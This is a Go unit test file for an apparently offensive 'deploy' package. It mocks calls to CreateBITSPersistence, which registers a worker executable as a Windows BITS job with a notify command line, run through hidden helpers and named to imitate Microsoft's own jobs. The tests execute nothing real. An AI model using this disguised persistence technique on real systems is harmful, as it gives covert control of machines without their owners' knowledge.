//go:build windows

package deploy

import (
	"strings"
	"testing"

)

func TestBitsJobName(t *testing.T) {
	cfg := testRuntimeConfig()
	name := BitsJobName(cfg)
	if !strings.HasPrefix(name, "Microsoft-Windows-BITS-") {
		t.Fatalf("unexpected prefix: %q", name)
	}
	if strings.Contains(name, " ") {
		t.Fatalf("job name must not contain spaces: %q", name)
	}
}

func TestCreateBITSPersistenceRegistersNotifyJob(t *testing.T) {
	var calls [][]string
	SetHiddenCombinedOutputFn(func(name string, arg ...string) ([]byte, error) {
		return []byte("no matching jobs"), nil
	})
	SetHiddenRunFn(func(name string, arg ...string) error {
		calls = append(calls, append([]string{name}, arg...))
		return nil
	})
	defer func() {
		SetHiddenRunFn(nil)
		SetHiddenCombinedOutputFn(nil)
	}()

	cfg := testRuntimeConfig()
	if err := CreateBITSPersistence(cfg, `C:\af\worker.exe`); err != nil {
		t.Fatal(err)
	}

	foundCreate := false
	foundNotify := false
	for _, call := range calls {
		if len(call) >= 3 && call[0] == "bitsadmin" && call[1] == "/create" {
			foundCreate = true
		}
		if len(call) >= 2 && call[0] == "bitsadmin" && call[1] == "/SetNotifyCmdLine" {
			foundNotify = true
		}
	}
	if !foundCreate || !foundNotify {
		t.Fatalf("expected bitsadmin create+notify, calls=%v", calls)
	}
}

func TestCreateBITSPersistenceIdempotentWhenJobExists(t *testing.T) {
	job := BitsJobName(testRuntimeConfig())
	SetHiddenCombinedOutputFn(func(name string, arg ...string) ([]byte, error) {
		return []byte(job + " TRANSFER"), nil
	})
	ran := false
	SetHiddenRunFn(func(name string, arg ...string) error {
		ran = true
		return nil
	})
	defer func() {
		SetHiddenRunFn(nil)
		SetHiddenCombinedOutputFn(nil)
	}()

	if err := CreateBITSPersistence(testRuntimeConfig(), `C:\af\worker.exe`); err != nil {
		t.Fatal(err)
	}
	if ran {
		t.Fatal("expected no bitsadmin mutations when job already exists")
	}
}